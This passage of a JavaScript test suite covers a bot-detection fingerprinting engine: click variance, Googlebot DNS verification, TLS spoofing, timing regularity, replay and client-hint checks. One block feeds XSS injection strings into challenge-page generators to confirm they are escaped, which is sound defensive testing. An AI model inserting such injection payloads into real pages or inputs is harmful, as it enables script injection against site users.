- describe('getClickVarianceScore', () => {
1445
- // FIX: Correctly assign the function before tests run.
1446
- beforeEach(() => {
1447
- getClickVarianceScore = fingerprint.__internal.getClickVarianceScore;
1448
- });
1449
-
1450
- it('should return 0 if no click history is present', () => {
1451
- const context = { headers: { 'x-behavior-metrics': JSON.stringify({}) } };
1452
- const { clickVarianceScore } = getClickVarianceScore(context);
1453
- expect(clickVarianceScore).toBe(0);
1454
- });
1455
-
1456
- it('should return 0 if there are not enough clicks on a single target', () => {
1457
- const metrics = {
1458
- clicksHistory: [
1459
- { x: 10, y: 10, targetId: 'hash1' },
1460
- { x: 11, y: 11, targetId: 'hash1' },
1461
- { x: 100, y: 100, targetId: 'hash2' }
1462
- ]
1463
- };
1464
- const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1465
- const { clickVarianceScore } = getClickVarianceScore(context);
1466
- expect(clickVarianceScore).toBe(0);
1467
- });
1468
-
1469
- it('should return a high score for clicks with very low variance', () => {
1470
- const metrics = {
1471
- clicksHistory: [
1472
- { x: 100, y: 100, targetId: 'hash1' },
1473
- { x: 100.1, y: 100.2, targetId: 'hash1' },
1474
- { x: 99.9, y: 99.8, targetId: 'hash1' }
1475
- ]
1476
- };
1477
- const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1478
- const { clickVarianceScore } = getClickVarianceScore(context);
1479
- expect(clickVarianceScore).toBeGreaterThan(90);
1480
- });
1481
-
1482
- it('should return a low score for clicks with high (human-like) variance', () => {
1483
- const metrics = {
1484
- clicksHistory: [
1485
- { x: 105, y: 110, targetId: 'hash1' },
1486
- { x: 98, y: 102, targetId: 'hash1' },
1487
- { x: 112, y: 95, targetId: 'hash1' }
1488
- ]
1489
- };
1490
- const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1491
- const { clickVarianceScore } = getClickVarianceScore(context);
1492
- expect(clickVarianceScore).toBe(0);
1493
- });
1494
- });
1495
-
1496
- describe('Bot Whitelisting', () => {
1497
- const inMemoryStore = {
1498
- _map: new Map(),
1499
- get: async (key) => inMemoryStore._map.get(key),
1500
- set: async (key, value) => inMemoryStore._map.set(key, value),
1501
- has: async (key) => inMemoryStore._map.has(key),
1502
- delete: async (key) => inMemoryStore._map.delete(key),
1503
- };
1504
-
1505
- const securityConfig = {
1506
- weights: {}, // Add empty weights to satisfy the validator
1507
- thresholds: {}, // Add empty thresholds to satisfy the validator
1508
- whitelist: [
1509
- { userAgent: 'Googlebot', hostnameSuffix: '.googlebot.com' },
1510
- { userAgent: 'TestBot', hostnameSuffix: '.test-verifier.com' },
1511
- { userAgent: 'MalformedRegexBot(]', hostnameSuffix: '.invalid.com' } // Invalid regex
1512
- ]
1513
- };
1514
-
1515
- let engine;
1516
-
1517
- beforeEach(() => {
1518
- inMemoryStore._map.clear();
1519
- configureStore(inMemoryStore);
1520
- vi.resetAllMocks(); // Reset mocks before each test
1521
- engine = new FingerprintEngine(securityConfig);
1522
- });
1523
-
1524
- test('should verify a legitimate Googlebot', async () => {
1525
- const googleIp = '66.249.66.1';
1526
- const googleHostname = 'crawl-66-249-66-1.googlebot.com';
1527
-
1528
- vi.mocked(dns.reverse).mockResolvedValue([googleHostname]);
1529
- vi.mocked(dns.resolve).mockResolvedValue([googleIp]);
1530
-
1531
- const requestContext = {
1532
- clientIp: googleIp,
1533
- headers: { 'user-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' }
1534
- };
1535
-
1536
- const isVerified = await engine._verifyWhitelistedBot(requestContext);
1537
- expect(isVerified).toBe(true);
1538
- expect(vi.mocked(dns.reverse)).toHaveBeenCalledWith(googleIp);
1539
- expect(vi.mocked(dns.resolve)).toHaveBeenCalledWith(googleHostname);
1540
- });
1541
-
1542
- test('should reject a fake Googlebot with non-matching IP', async () => {
1543
- const fakeGoogleIp = '1.2.3.4';
1544
- const fakeHostname = 'not-google.com';
1545
-
1546
- vi.mocked(dns.reverse).mockResolvedValue([fakeHostname]);
1547
-
1548
- const requestContext = {
1549
- clientIp: fakeGoogleIp,
1550
- headers: { 'user-agent': 'Googlebot' }
1551
- };
1552
-
1553
- const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} }); // Pass fingerprint
1554
- expect(isVerified).toBe(false);
1555
- expect(vi.mocked(dns.reverse)).toHaveBeenCalledWith(fakeGoogleIp);
1556
- expect(vi.mocked(dns.resolve)).not.toHaveBeenCalled(); // Should fail at reverse lookup
1557
- });
1558
-
1559
- test('should reject a bot if forward DNS does not match back to original IP', async () => {
1560
- const ip = '66.249.66.1';
1561
- const hostname = 'crawl-66-249-66-1.googlebot.com';
1562
-
1563
- vi.mocked(dns.reverse).mockResolvedValue([hostname]);
1564
- vi.mocked(dns.resolve).mockResolvedValue(['66.249.66.2']); // Different IP
1565
-
1566
- const requestContext = { clientIp: ip, headers: { 'user-agent': 'Googlebot' }, fingerprint: {} };
1567
- const isVerified = await engine._verifyWhitelistedBot(requestContext);
1568
- expect(isVerified).toBe(false);
1569
- });
1570
-
1571
- test('should use cache for subsequent requests from a verified IP', async () => {
1572
- const googleIp = '66.249.66.1';
1573
- const googleHostname = 'crawl-66-249-66-1.googlebot.com';
1574
- const requestContext = { clientIp: googleIp, headers: { 'user-agent': 'Googlebot' } };
1575
-
1576
- // First call: perform DNS lookups and cache the result
1577
- vi.mocked(dns.reverse).mockResolvedValue([googleHostname]);
1578
- vi.mocked(dns.resolve).mockResolvedValue([googleIp]);
1579
- await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
1580
- expect(vi.mocked(dns.reverse)).toHaveBeenCalledTimes(1);
1581
- expect(vi.mocked(dns.resolve)).toHaveBeenCalledTimes(2);
1582
-
1583
- // Second call: should use the cache
1584
- const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
1585
- expect(isVerified).toBe(true); // Should still be true
1586
- // DNS functions should not be called again
1587
- expect(vi.mocked(dns.reverse)).toHaveBeenCalledTimes(1);
1588
- expect(vi.mocked(dns.resolve)).toHaveBeenCalledTimes(2);
1589
- });
1590
-
1591
- test('should handle invalid regex in whitelist rules gracefully', async () => {
1592
- const consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
1593
- const requestContext = {
1594
- clientIp: '1.2.3.4',
1595
- headers: { 'user-agent': 'MalformedRegexBot(]' }
1596
- };
1597
-
1598
- const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
1599
- expect(isVerified).toBe(false);
1600
- expect(consoleErrorSpy).toHaveBeenCalledWith(expect.stringContaining('[Fingerprint] Invalid regex in whitelist rule'));
1601
- consoleErrorSpy.mockRestore();
1602
- });
1603
- });
1604
- });
1605
-
1606
- describe('getTlsSpoofingScore', () => {
1607
- let getTlsFingerprintMock; // Renamed to reflect it's the mock function
1608
- let getTlsSpoofingScore;
1609
-
1610
- beforeEach(async () => {
1611
- // Spy on getTlsFingerprint to control its output for these tests
1612
- getTlsFingerprintMock = vi.spyOn(fingerprint.__internal, 'getTlsFingerprint');
1613
- getTlsSpoofingScore = fingerprint.__internal.getTlsSpoofingScore;
1614
- });
1615
-
1616
- afterEach(() => {
1617
- getTlsFingerprintMock.mockRestore(); // Restore the spy after each test
1618
- });
1619
-
1620
- it('should return 0 if no TLS fingerprint is available', () => {
1621
- getTlsFingerprintMock.mockReturnValue({ ja3: null, ja4: null });
1622
- const context = { headers: { 'user-agent': 'Mozilla/5.0' } };
1623
- const { tlsSpoofingScore } = getTlsSpoofingScore(context);
1624
- expect(tlsSpoofingScore).toBe(0);
1625
- });
1626
-
1627
- it('should return a high score if TLS fingerprint is present but User-Agent is generic/missing', () => {
1628
- getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null }); // A known Chrome JA3
1629
- const context1 = { headers: { 'user-agent': 'curl/7.64.1' } };
1630
- const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
1631
- expect(score1).toBe(50);
1632
-
1633
- const context2 = { headers: { 'user-agent': '' } };
1634
- const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
1635
- expect(score2).toBe(50);
1636
-
1637
- const context3 = { headers: {} };
1638
- const { tlsSpoofingScore: score3 } = getTlsSpoofingScore(context3, getTlsFingerprintMock);
1639
- expect(score3).toBe(50);
1640
- });
1641
-
1642
- it('should return a high score for browser/OS mismatch between JA3 and User-Agent', () => {
1643
- // Use a known JA3 for Chrome, but a User-Agent for Firefox
1644
- getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null });
1645
- const context1 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0' } };
1646
- const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
1647
- expect(score1).toBe(80);
1648
-
1649
- // Use a known JA3 for Firefox, but a User-Agent for Chrome
1650
- getTlsFingerprintMock.mockReturnValue({ ja3: 'b386946a5a586163c7c533636b45c355', ja4: null });
1651
- const context2 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' } };
1652
- const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
1653
- expect(score2).toBe(80);
1654
- });
1655
-
1656
- it('should return 0 for consistent JA3 and User-Agent', () => {
1657
- // Consistent Chrome
1658
- getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null });
1659
- const context1 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' } };
1660
- const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
1661
- expect(score1).toBe(0);
1662
-
1663
- // Consistent Firefox
1664
- getTlsFingerprintMock.mockReturnValue({ ja3: 'b386946a5a586163c7c533636b45c355', ja4: null });
1665
- const context2 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0' } };
1666
- const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
1667
- expect(score2).toBe(0);
1668
- });
1669
- });
1670
-
1671
- // Define patternConfig at a higher scope to be accessible by multiple describe blocks
1672
- const patternConfig = {
1673
- minSamples: 5, // Lower for easier testing
1674
- regularityThreshold: 50,
1675
- benfordThreshold: 0.15,
1676
- patternWeight: 80,
1677
- decayFactor: 0.9,
1678
- inactivityReset: 5000,
1679
- };
1680
-
1681
- describe('getRequestPatternScore', () => {
1682
- let dateNowSpy;
1683
-
1684
- afterEach(() => {
1685
- if (dateNowSpy) {
1686
- dateNowSpy.mockRestore();
1687
- }
1688
- });
1689
-
1690
- test('should return zero score for the first request', () => {
1691
- const deviceData = { requestHistory: [] };
1692
- const context = { path: '/home', query: {} };
1693
- const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
1694
- expect(requestPatternScore).toBe(0);
1695
- });
1696
-
1697
- test('should NOT assign a pattern score if not enough samples are collected', () => {
1698
- const deviceData = {
1699
- requestHistory: [],
1700
- timingHistory: [100, 200, 150] // Only 3 samples, less than minSamples (5)
1701
- };
1702
- const context = { path: '/page', query: {} };
1703
- dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
1704
-
1705
- const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
1706
- expect(requestPatternScore).toBe(0);
1707
- });
1708
-
1709
- test('should assign a high pattern score for highly regular (robotic) requests', () => {
1710
- const deviceData = {
1711
- requestHistory: [],
1712
- timingHistory: [100, 100, 100, 100, 100, 100] // stdDev = 0, which is < regularityThreshold
1713
- };
1714
- const context = { path: '/page', query: {} };
1715
- dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
1716
-
1717
- const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
1718
- expect(requestPatternScore).toBe(patternConfig.patternWeight); // 80
1719
- });
1720
-
1721
- test('should assign a high pattern score for non-natural (Benford-violating) timings', () => {
1722
- // This distribution of leading digits (all 9s) violates Benford's law.
1723
- const deviceData = {
1724
- requestHistory: [],
1725
- timingHistory: [901, 923, 911, 954, 987, 932, 945, 965, 978, 999]
1726
- };
1727
- const context = { path: '/page', query: {} };
1728
- dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
1729
-
1730
- const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
1731
- expect(requestPatternScore).toBe(patternConfig.patternWeight); // 80
1732
- });
1733
-
1734
- test('should apply decay factor to the score over time', () => {
1735
- const deviceData = {
1736
- requestHistory: [{ timestamp: 10000, path: '/home', queryString: '' }],
1737
- lastPatternScore: 50, // Previous score
1738
- timingHistory: []
1739
- };
1740
- const context = { path: '/contact', query: {} };
1741
-
1742
- // Simulate a slow, non-pattern-matching request
1743
- dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(12000);
1744
-
1745
- const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
1746
-
1747
- // Expected: (previous score * decay) + 0 (since no new pattern was detected)
1748
- const expectedScore = 50 * patternConfig.decayFactor; // 50 * 0.9 = 45
1749
- expect(requestPatternScore).toBe(expectedScore);
1750
- });
1751
-
1752
- it('should decay a low score towards zero after inactivity', async () => {
1753
- const context = { path: '/test', query: {} };
1754
- const deviceData = { requestHistory: [], timingHistory: [], lastPatternScore: 15 };
1755
- const lowScore = 15;
1756
-
1757
- // 2. Attendre
1758
- await new Promise(r => setTimeout(r, 1600));
1759
-
1760
- // 3. Le score doit avoir décru (mais pas forcément être exactement 0)
1761
- const { requestPatternScore: decayedScore } = getRequestPatternScore(context, deviceData, patternConfig);
1762
- expect(decayedScore).toBeLessThanOrEqual(lowScore);
1763
- expect(decayedScore).toBeGreaterThanOrEqual(0);
1764
- });
1765
- }); // <-- AJOUT DE L'ACCOLADE FERMANTE MANQUANTE
1766
-
1767
- describe('determineOptimalTicketTtl', () => {
1768
- const { determineOptimalTicketTtl } = __internal;
1769
-
1770
- // Les bornes définies dans la fonction (5min et 24h)
1771
- const MIN_TTL = 300000;
1772
- const MAX_TTL = 86400000;
1773
-
1774
- test('should return a long TTL for a very low suspicion score', () => {
1775
- const score = 5; // Very low suspicion
1776
- const ttl = determineOptimalTicketTtl(score);
1777
-
1778
- // With a low score, the TTL should be close to the maximum.
1779
- // We expect a TTL of many hours.
1780
- expect(ttl).toBeGreaterThan(MAX_TTL * 0.75); // Greater than 75% of the max TTL (18 hours)
1781
- expect(ttl).toBeLessThanOrEqual(MAX_TTL);
1782
- });
1783
-
1784
- // Ce test est conçu pour être résilient aux variations de l'algorithme génétique.
1785
- // Il réessaie jusqu'à 3 fois pour s'assurer que l'échec n'est pas dû à une mauvaise convergence ponctuelle.
1786
- test('should return a short TTL for a very high suspicion score', async () => {
1787
- const score = 95; // Very high suspicion
1788
- const maxAttempts = 5;
1789
- let lastError = null;
1790
-
1791
- for (let attempt = 1; attempt <= maxAttempts; attempt++) {
1792
- try {
1793
- const ttl = determineOptimalTicketTtl(score);
1794
- // With a high score, the TTL should be very short, close to the minimum.
1795
- expect(ttl).toBeLessThan(MIN_TTL * 6); // Less than 6x the minimum TTL (30 minutes)
1796
- expect(ttl).toBeGreaterThanOrEqual(MIN_TTL);
1797
- lastError = null; // Success
1798
- break; // Exit loop on success
1799
- } catch (e) {
1800
- lastError = e;
1801
- }
1802
- }
1803
- if (lastError) throw lastError; // If all attempts failed, throw the last error
1804
- });
1805
-
1806
- test('should return a TTL within the valid range for a medium score', () => {
1807
- const score = 50; // Moyennement suspect
1808
- const ttl = determineOptimalTicketTtl(score);
1809
-
1810
- expect(ttl).toBeGreaterThanOrEqual(MIN_TTL);
1811
- expect(ttl).toBeLessThanOrEqual(MAX_TTL);
1812
- });
1813
-
1814
- // Ce test est plus difficile à déclencher, mais il valide la robustesse de la fonction.
1815
- // On peut le simuler en forçant l'algorithme génétique à retourner un tableau vide.
1816
- });
1817
-
1818
- describe('getTimeInconsistencyScore', () => {
1819
- const REPLAY_THRESHOLD_MS = 5000; // Doit correspondre à la valeur dans fingerprint.js
1820
-
1821
- it('should return 0 for a normal, fresh request (clientTimestamp slightly before requestTimestamp)', () => {
1822
- const requestTimestamp = Date.now();
1823
- const clientTimestamp = requestTimestamp - 100; // 100ms before server reception
1824
- const context = { requestTimestamp };
1825
- const metrics = { clientTimestamp };
1826
-
1827
- const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
1828
- expect(timeInconsistencyScore).toBe(0);
1829
- });
1830
-
1831
- it('should return a score > 0 for a replayed request (clientTimestamp significantly before requestTimestamp)', () => {
1832
- const requestTimestamp = Date.now();
1833
- const clientTimestamp = requestTimestamp - (REPLAY_THRESHOLD_MS + 1000); // 1 second beyond threshold
1834
- const context = { requestTimestamp };
1835
- const metrics = { clientTimestamp };
1836
-
1837
- const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
1838
- // Expected score: ( (REPLAY_THRESHOLD_MS + 1000) / REPLAY_THRESHOLD_MS - 1) * 50
1839
- // (6000 / 5000 - 1) * 50 = (1.2 - 1) * 50 = 0.2 * 50 = 10
1840
- expect(timeInconsistencyScore).toBeGreaterThan(0);
1841
- // Utiliser toBeCloseTo pour éviter les problèmes de précision des nombres à virgule flottante.
1842
- expect(timeInconsistencyScore).toBeCloseTo(10);
1843
- });
1844
-
1845
- it('should cap the score at 100 for very large time differences', () => {
1846
- const requestTimestamp = Date.now();
1847
- const clientTimestamp = requestTimestamp - (REPLAY_THRESHOLD_MS * 5); // 5 times the threshold
1848
- const context = { requestTimestamp };
1849
- const metrics = { clientTimestamp };
1850
-
1851
- const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
1852
- expect(timeInconsistencyScore).toBe(100);
1853
- });
1854
-
1855
- it('should return 0 if clientTimestamp is after requestTimestamp (client clock ahead)', () => {
1856
- const requestTimestamp = Date.now();
1857
- const clientTimestamp = requestTimestamp + 5000; // Client clock is 5 seconds ahead
1858
- const context = { requestTimestamp };
1859
- const metrics = { clientTimestamp };
1860
-
1861
- const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
1862
- expect(timeInconsistencyScore).toBe(0);
1863
- });
1864
-
1865
- it('should return 0 if clientTimestamp or requestTimestamp is missing', () => {
1866
- const context1 = { requestTimestamp: Date.now() };
1867
- const metrics1 = {}; // Missing clientTimestamp
1868
- expect(__internal.getTimeInconsistencyScore(context1, metrics1).timeInconsistencyScore).toBe(0);
1869
-
1870
- const context2 = {}; // Missing requestTimestamp
1871
- const metrics2 = { clientTimestamp: Date.now() };
1872
- expect(__internal.getTimeInconsistencyScore(context2, metrics2).timeInconsistencyScore).toBe(0);
1873
- });
1874
- });
1875
- describe('Challenge Page Generation Security (XSS)', () => {
1876
- // Les fonctions sont déjà exportées via __internal
1877
- const { generateCpuTargetChallengePage, generateCombinedPoWChallengePage } = __internal;
1878
-
1879
- // Mock readFileSync pour éviter les erreurs de système de fichiers lorsque getPowSolverCode est appelé
1880
- beforeEach(() => {
1881
- // Assurez-vous que le mock est actif pour ces tests
1882
- readFileSync.mockReturnValue('// MOCK SOLVER CODE');
1883
- });
1884
-
1885
- afterEach(() => {
1886
- readFileSync.mockClear();
1887
- });
1888
-
1889
- it('should escape the path parameter in generateCpuTargetChallengePage to prevent XSS', () => {
1890
- const maliciousPath = `"/;alert('XSS');//`;
1891
- const challengeDetails = {
1892
- nonce: 'test-nonce',
1893
- target: '0000',
1894
- path: maliciousPath,
1895
- };
1896
-
1897
- const html = generateCpuTargetChallengePage(challengeDetails, '127.0.0.1');
1898
-
1899
- // 1. Le script malveillant brut ne doit PAS être présent.
1900
- expect(html).not.toContain(`window.location.href = "/;alert('XSS');//?pow_type=cpu_target`);
1901
-
1902
- // 2. Le chemin doit être correctement échappé via JSON.stringify, neutralisant l'attaque.
1903
- const expectedEscapedString = `window.location.href = ${JSON.stringify(maliciousPath)} + "?pow_type=cpu_target`;
1904
- expect(html).toContain(expectedEscapedString);
1905
- });
1906
-
1907
- it('should escape the path parameter in generateCombinedPoWChallengePage to prevent XSS', () => {
1908
- const maliciousPath = `test.com";\nconsole.log("pwned");//`;
1909
- const challengeDetails = { nonce: 'test-nonce', target: '0000', path: maliciousPath };
1910
-
1911
- const html = generateCombinedPoWChallengePage(challengeDetails, 16, '127.0.0.1', 'secret', {}, '');
1912
-
1913
- expect(html).not.toContain(`const path = "test.com";`);
1914
- expect(html).toContain(`const path = ${JSON.stringify(maliciousPath)};`);
1915
- });
1916
- });
1917
-
1918
-
1919
- describe('Regularity Detection (Standard Deviation)', () => {
1920
- const regularityConfig = {
1921
- ...patternConfig,
1922
- patternWeight: 60,
1923
- minSamples: 5, // Ensure minSamples is explicitly defined for this test suite
1924
- };
1925
-
1926
- let dateNowSpy;
1927
- it('should apply a high penalty for perfectly regular requests', () => {
1928
- const deviceData = { requestHistory: [], timingHistory: [1000, 1000, 1000, 1000, 1000] }; // Écart-type = 0
1929
- const context = { path: '/page', query: {} };
1930
- dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000); // La 6ème requête arrive aussi après 1000ms
1931
-
1932
- const { requestPatternScore } = getRequestPatternScore(context, deviceData, regularityConfig);
1933
-
1934
- // stdDev is 0, which is < regularityThreshold, so the full patternWeight is applied.
1935
- expect(requestPatternScore).toBe(regularityConfig.patternWeight);
1936
- });
1937
-
1938
- it('should apply a low penalty for slightly irregular requests', () => {
1939
- const deviceData = { requestHistory: [], timingHistory: [1000, 1010, 990, 1005, 995] }; // Écart-type faible mais non nul
1940
- const context = { path: '/page', query: {} };
1941
- dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000);
1942
- const localConfig = { ...regularityConfig, regularityThreshold: 10 }; // stdDev of this data is ~5.
1943
-
1944
- const { requestPatternScore } = getRequestPatternScore(context, deviceData, localConfig);
1945
-
1946
- expect(requestPatternScore).toBe(localConfig.patternWeight);
1947
- });
1948
-
1949
- it('should apply no penalty for highly irregular (human-like) requests', () => {
1950
- const deviceData = { requestHistory: [], timingHistory: [500, 2000, 800, 3500, 1200] }; // Écart-type élevé
1951
- const context = { path: '/page', query: {} };
1952
- dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000);
1953
- // The stdDev of this data is high, so it won't trigger the regularity check.
1954
-
1955
- const { requestPatternScore } = getRequestPatternScore(context, deviceData, regularityConfig);
1956
-
1957
- expect(requestPatternScore).toBe(0);
1958
- });
1959
- });
1960
- describe('Dry Run Mode', () => {
1961
- const inMemoryStore = {
1962
- _map: new Map(),
1963
- async get(key) { return this._map.get(key); },
1964
- async set(key, value) { this._map.set(key, value); },
1965
- };
1966
-
1967
- beforeEach(() => {
1968
- inMemoryStore._map.clear();
1969
- configureStore(inMemoryStore);
1970
- vi.spyOn(console, 'log').mockImplementation(() => {});
1971
- });
1972
-
1973
- afterEach(() => {
1974
- vi.restoreAllMocks();
1975
- });
1976
-
1977
- it('should log the intended action but return "next" when a request would be blocked', async () => {
1978
- const securityConfig = {
1979
- dryRun: true,
1980
- verbose: true, // Enable logging for the test
1981
- weights: { honeypotScore: 1.0 },
1982
- thresholds: { low: 20, block: 95 },
1983
- };
1984
- const engine = new FingerprintEngine(securityConfig);
1985
-
1986
- // Mock a highly suspicious vector that would normally trigger a block
1987
- vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
1988
- honeypotScore: 100
1989
- });
1990
-
1991
- const requestContext = {
1992
- clientIp: '1.2.3.4', path: '/', cookies: {}, query: {}, headers: { 'user-agent': 'test-bot' },
1993
- };
1994
-
1995
- const decision = await engine.processRequest(requestContext);
1996
-
1997
- // Assert that the final action is 'next'
1998
- expect(decision.action).toBe('next');
1999
- // Assert that the intended action was to 'block'
2000
- expect(decision.intendedAction).toBe('block');
2001
- // Assert that the log message indicates a dry run
2002
- expect(console.log).toHaveBeenCalledWith(
2003
- expect.stringContaining('[FingerprintEngine] [Dry Run] Intended action: block'),
2004
- expect.any(Object) // The second argument is the data object
2005
- );
2006
- });
2007
- });
2008
-
2009
- describe('getClientHintsInconsistencyScore', () => {
2010
- const { getClientHintsInconsistencyScore } = __internal;
2011
-
2012
- it('should return 0 for consistent User-Agent and Client-Hints', () => {
2013
- const context = {
2014
- headers: {
2015
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
2016
- 'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
2017
- }
2018
- };
2019
- const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
2020
- expect(clientHintsInconsistencyScore).toBe(0);
2021
- });
2022
-
2023
- it('should return 80 for a large version mismatch', () => {
2024
- const context = {
2025
- headers: {
2026
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
2027
- 'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
2028
- }
2029
- };
2030
- const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
2031
- expect(clientHintsInconsistencyScore).toBe(80);
2032
- });
2033
-
2034
- it('should return 40 for a small version mismatch', () => {
2035
- const context = {
2036
- headers: {
2037
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
2038
- 'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
2039
- }
2040
- };
2041
- const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
2042
- expect(clientHintsInconsistencyScore).toBe(40);
2043
- });
2044
-
2045
- it('should return 90 for a browser family mismatch', () => {
2046
- const context = {
2047
- headers: {
2048
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
2049
- 'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
2050
- }
2051
- };
2052
- const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
2053
- expect(clientHintsInconsistencyScore).toBe(90);
2054
- });
2055
-
2056
- it('should return 0 if headers are missing or unparsable', () => {
2057
- const context1 = { headers: { 'user-agent': 'Just Chrome/120' } }; // Missing sec-ch-ua
2058
- const context2 = { headers: { 'sec-ch-ua': '"Google Chrome";v="120"' } }; // Missing user-agent
2059
- const context3 = { headers: { 'user-agent': 'UnknownBrowser/1.0', 'sec-ch-ua': '"UnknownBrand";v="1.0"' } }; // Unparsable
2060
-
2061
- expect(getClientHintsInconsistencyScore(context1).clientHintsInconsistencyScore).toBe(0);
2062
- expect(getClientHintsInconsistencyScore(context2).clientHintsInconsistencyScore).toBe(0);
2063
- expect(getClientHintsInconsistencyScore(context3).clientHintsInconsistencyScore).toBe(0);
2064
- });
2065
- });
2066
-
2067
- describe('Subnet Scoring (Node.js)', () => {
2068
- const inMemoryStore = {
2069
- _map: new Map(),
2070
- async get(key) { return this._map.get(key); },
2071
- async set(key, value) { this._map.set(key, value); },
2072
- clear() { this._map.clear(); }
2073
- };
2074
-
2075
- beforeEach(async () => {
2076
- inMemoryStore.clear();
2077
- // La configuration du store est maintenant asynchrone
2078
- await configureStore(inMemoryStore); // Configure the shared store for each test
2079
- });
2080
-
2081
- it('getIpSubnet should correctly calculate subnets', () => {
2082
- const { getIpSubnet } = __internal;
2083
- // IPv4
2084
- expect(getIpSubnet('192.168.1.123', 24)).toBe('192.168.1.0/24');
2085
- // The new version handles other prefixes
2086
- expect(getIpSubnet('10.20.30.40', 16)).toBe('10.20.0.0/16');
2087
- // IPv6
2088
- expect(getIpSubnet('2001:db8:abcd:0012:0000:0000:0000:0001', 48)).toBe('2001:db8:abcd:0:0:0:0:0/48');
2089
- // The new version handles other prefixes
2090
- expect(getIpSubnet('2a01:e0a:129:57c0:a1b2:c3d4:e5f6:a7b8', 64)).toBe('2a01:e0a:129:0:0:0:0:0/48');
2091
- // Invalid IPs
2092
- expect(getIpSubnet('not-an-ip')).toBeNull();
2093
- });
2094
-
2095
- it('updateSubnetMetrics should create and update subnet data in the store', async () => {
2096
- const context = { clientIp: '10.0.0.25' };
2097
- await __internal.updateSubnetMetrics(context, 'device-1', 50);
2098
-
2099
- const subnetData = await inMemoryStore.get('subnet:10.0.0.0/24');
2100
- expect(subnetData).toBeDefined();
2101
- expect(subnetData.highScoreCount).toBe(1);
2102
- expect(subnetData.deviceIds).toEqual(['device-1']);
2103
-
2104
- // Second update
2105
- await __internal.updateSubnetMetrics(context, 'device-2', 60);
2106
- const updatedSubnetData = await inMemoryStore.get('subnet:10.0.0.0/24');
2107
- expect(updatedSubnetData.highScoreCount).toBe(2);
2108
- expect(updatedSubnetData.deviceIds).toEqual(['device-1', 'device-2']);
2109
- });
2110
-
2111
- it('getSubnetScore should calculate score based on stored metrics', async () => {
2112
- const context = { clientIp: '10.0.0.25' };
2113
-
2114
- // 1. No data, score should be 0
2115
- let { subnetScore } = await __internal.getSubnetScore(context, 'device-1');
2116
- expect(subnetScore).toBe(0);
2117
-
2118
- // 2. Some high scores, few devices. The subnet is calculated from the context.
2119
- // The key is hardcoded here to match what the implementation would store.
2120
